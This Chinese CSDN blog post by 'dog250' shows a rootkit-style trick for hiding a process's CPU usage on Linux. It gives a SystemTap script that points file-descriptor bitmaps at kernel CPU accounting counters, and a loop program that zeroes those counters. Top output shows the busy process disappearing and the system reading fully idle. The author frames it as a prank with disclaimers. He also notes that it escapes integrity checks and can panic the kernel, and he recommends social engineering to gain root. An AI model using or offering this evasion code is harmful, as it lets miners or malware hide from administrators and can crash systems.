实现自我隐藏 CPU 利用率的最佳方法,不妨一试!
作者 | dog250头图 | CSDN 下载自视觉中国出品 | CSDN 博客想不想让CPU利用率展示成一首优美的旋律,就像弹琴一样。我的意思是,你想让系统以及 task 的 CPU ...
作者 | dog250
头图 | CSDN 下载自视觉中国
出品 | CSDN 博客
想不想让CPU利用率展示成一首优美的旋律,就像弹琴一样。
我的意思是,你想让系统以及 task 的 CPU 利用率是多少它就是多少,一切都是由你的程序自己来调制演奏。 这需要一种自指机制。
哈哈,完全可以,本文来演示,或者说,你可以把本文的内容看作一个戏弄运维人员的恶作剧。
运维人员经常会遇到各种 CPU 高的问题,然后成群结队地去排查,想让队伍更大些吗?想让事情更诡异吗?我让你查,我让你查。哈哈。
事先声明,若用本文描述的手段实施恶意行为,将会受到谴责,这并不是一个真正工程师该有的行为,更有辱手艺人的探索精神。
原理
Linux 系统的 CPU 利用率是通过时钟中断的打点来采样来统计的,具体的样本系统会展示在 procfs 中,具体就是 /proc/stat。
进一步,/proc/stat 中的信息是从全局的静态 per cpu 变量 kernel_cpustat 中取出来的:
static inline void task_group_account_field(struct task_struct *p, int index,
u64 tmp)
{
/*
* Since all updates are sure to touch the root cgroup, we
* get ourselves ahead and touch it first. If the root cgroup
* is the only cgroup, then nothing else should be necessary.
*
*/
__get_cpu_var(kernel_cpustat).cpustat[index] += tmp;
cpuacct_account_field(p, index, tmp);
}
其中的 index 是一个枚举,分别表示 CPU 时间的类型,大致看一眼就行:
enum cpu_usage_stat {
CPUTIME_USER,
CPUTIME_NICE,
CPUTIME_SYSTEM,
CPUTIME_SOFTIRQ,
CPUTIME_IRQ,
CPUTIME_IDLE,
...
NR_STATS,
};
每一次打点采样的时候,系统总是会把距离上一次打点采样的时间差递增到 kernel_cpustat 的对应 index 中。
我们只需要有一个机制,可以按照我们的意愿来修改 kernel_cpustat 的值就可以了。
显然,写一个模块,内置一个 timer,每隔一段时间就去设置一下 kernel_cpustat 的值当然是OK的,很容易用 stap 的 POC 脚本演示效果。然而,这种方案动静太大,你不得不加载一个内核模块,而这很容易被运维抓到,因此你不得不去隐藏这个内核模块,我前面写过很多隐藏技巧,这将又是一个声势浩大的动作。
所以说,必须设计一种让 task 自己隐藏自己 CPU 利用率的自隐藏机制。
我瞄准了内核里的 bitmap,恰好它的每一个 bit 就是一个琴键,相当形象的比喻,一个64位的 bitmap 就有64个琴键,每一个 bit 设置不同的值就能显示不同的CPU利用率。
具体做法
哈哈, task_struct 里不是 files_struct 吗?files_struct 里不是有 fdtable 吗?fdtable 里不是有两个位图吗?
close_on_exec 位图。
open_fds 位图。
看出啥意思了吗?我想我已经不必多说了吧:
将 close_on_exec 位图指向具体 CPU 核的 kernel_cpustat。
将 open_fds 位图指向 task_struct 自己的 utime,stime 的地址。
进程中不断地 open/close 具体的文件并 fcntl 对应的 ~FD_CLOEXEC 标志。
来来来,看代码:
%{
#include <linux/kernel_stat.h>
#include <linux/fdtable.h>
%}
global pid;
global type;
global addr;
function change_fdt(tsk:long, type:long, addr:long)
%{
struct task_struct *p = (struct task_struct *)STAP_ARG_tsk;
struct files_struct *files;
struct fdtable *fdtbl;
struct kernel_cpustat *stat;
unsigned long *m = NULL;
files = p->files;
fdtbl = files->fdt;
stat = &__get_cpu_var(kernel_cpustat);
m = fdtbl->close_on_exec;
printk("before:%p\n", fdtbl->close_on_exec);
if (STAP_ARG_type == 1) {
fdtbl->close_on_exec = (unsigned long *)stat;
fdtbl->open_fds = (unsigned long *)&(p->utime);
} else if (STAP_ARG_type == 0) {
fdtbl->close_on_exec = (unsigned long *)STAP_ARG_addr;
}
printk("after:%p\n", fdtbl->close_on_exec);
%}
probe kernel.function("account_process_tick")
{
if (pid() == pid) {
//@cast($p, "struct task_struct")->utime = -100000;
//@cast($p, "struct task_struct")->stime = -100000;
change_fdt($p, type, addr);
exit();
}
}
probe begin
{
pid = $1
type = $2
addr = $3
}
照着上面的原理理解上述代码,够简单了,无须多讲。
再看一个超级消耗 CPU 的程序:
// loop.c
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
void clear_cpu_account()
{
int flags;
int i;
// 大致需要设置USER,SYS,SOFTIRQ等4个u64的值,256个bit足够了。
for (i = 3; i < 259; i++) {
if (i == 64 || i == 128) // 为了防止open_fds被理解为utime,stime后除0异常
continue;
i = open("./aa", O_RDONLY);
if (i == -1) {
perror("open");
exit(1);
}
flags = fcntl(i, F_GETFD);
flags &= ~FD_CLOEXEC;
fcntl(i, F_SETFD, flags);
}
for (i = 3; i < 259; i++) {
if (i != 64 && i != 128) // 为了防止open_fds被理解为utime,stime后除0异常
close(i);
}
}
int main()
{
while (1) {
clear_cpu_account();
}
}
来看效果。
先看不隐藏 CPU 利用率时的 loop 程序:
[root@localhost ~]# ./a.out &
[1] 4021
[root@localhost ~]# top
top - 23:03:26 up 3:06, 3 users, load average: 0.31, 0.08, 0.04
Tasks: 86 total, 2 running, 84 sleeping, 0 stopped, 0 zombie
%Cpu(s): 16.6 us, 83.4 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 580596 free, 102116 used, 334148 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 757212 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4021 root 20 0 4212 352 280 R 94.0 0.0 0:16.39 a.out
11 root 20 0 0 0 0 S 6.0 0.0 0:01.25 rcuos/0
3881 root 20 0 0 0 0 S 0.3 0.0 0:01.35 kworker/0:1
1 root 20 0 43400 3688 2480 S 0.0 0.4 0:00.72 systemd
CPU 利用率是不是波澜壮阔的,嗯,是的,一下子就知道 a.out 是元凶。
然后我们运行我们的 stap 脚本:
[root@localhost test]# stap -g ./hidestat.stp 4021 1 0
[root@localhost test]# top
top - 23:06:42 up 3:09, 3 users, load average: 2.00, 1.01, 0.41
Tasks: 85 total, 2 running, 83 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 579600 free, 102216 used, 335044 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 756400 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
11 root 20 0 0 0 0 S 5.3 0.0 0:11.88 rcuos/0
1 root 20 0 43400 3688 2480 S 0.0 0.4 0:00.72 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.01 ksoftirqd/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
8 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh
咦?a.out 呢?风平浪静了…
如我所愿,系统整体的 CPU 利用率,100% idle,a.out 也早就不知道沉到哪里去了,为a.out 取一个好名字,运维们根本不会想象这样的程序会是元凶,虽然在技术的视角非常有必要利用我之前介绍的 trick 将 a.out 隐藏掉,但是多一事不如少一事。
我比较喜欢这个方案,它的优点在于:
没有 hook 任意的内核代码,因此通过代码段摘要就无法查出来。
甚至无需隐藏进程,因此减少了对系统稳定的影响。
你可以通过修改 loop.c 程序实现自定义的 CPU 利用率控制(就像演奏一样)。
…
我要赶紧结束掉 a.out 再继续写下去,虽然 top 看不出任何问题,但是我的电脑已经非常烫手了,显然,a.out 依然在驱动着 CPU 开足马力耗电,只是这一切被藏了起来,这是炎热的夏天的夜晚…
…
代码临时仓促写着玩,还有很多问题没有解决:
确实偶尔会造成 panic。
偶尔依然会有除0异常。
通过检查 /proc/stat,会发现 CPU 时间计数器不是单调递增的,难不成时间会倒流?
…
技术分析到此为止,最后我来谈一下关于 Rootkit 中的 root 如何理解。
先说我的结论:
我不认为用技术手段破解 root 属于 Rootkit 攻击的一部分。Rootkit 需要你事先拿到最高权限。
Rootkit 属于采用技术手段达到自己目的的一种内核木马,显然必须使用 root 权限才能将其装入内核,root 权限是一个前置条件。
我倾向于采用社会工程学手段拿到最高权限,而不是采用技术手段去破解。
root 权限,或者说最高权限的破解完全是另一个技术领域,它更多的是身份认证的工作,涉及到密码学,PKI 体系等,而这些并不是 Rootkit 关注的。Rootkit 关注的往往是你拿到权限之后,具体要做什么,而不是如何拿到权限。
社会工程学拿到 root 权限反而要省事的多。
另一方面,反过来讲,即便是给你 root 权限,绝大多数人也并非有能力去部署木马。这基本反驳了普遍存在的一个观点,“root 都给你了,还有什么做不到的呢?” 你给一个非全栈的前端程序员 root 权限,让他写一个内核握手代理试试,即便是 root 已经在手的系统管理员,系统运维,绝大多数对于内核的控制也是无能为力的。当然,少数例外排除在外。
光 root 权限在手没用,若想实施一点坏主意,还需要对系统运作原理有足够深入的理解,而这个是非常专业的领域。这就好比很多人都知道开源是好事,可是能看懂源代码的人本就不多。开源对不懂代码的人有用吗?这是一种文化,而不是一门技术。
太晚了,有时间我会演示如何将 CPU 的高利用率甩锅给任意进程,以嫁祸于人或者恶意制造障碍。不过我必须再次声明,我并不是真的心存恶意,否则我也不会写出来,我只是在尽力避免这种恶意在现实中被实施。
声明:本文为 CSDN 博主「dog250」的原创文章,版权归作者所有。
原文:https://blog.csdn.net/dog250/article/details/107850856
更多精彩推荐
☞无代码火了,短板有哪些?
☞写不出满分作文怎么办,GPT-3 来帮你
☞互联网不相信学渣
☞收藏!美国博士明确给出Python的高效学习技巧
☞垃圾回收策略和算法,看这篇就够了
☞2020 以太坊技术及应用大会·中国圆满落幕,大咖们的演讲精华都在这里了!
点分享点点赞点在看
更多推荐
所有评论(0)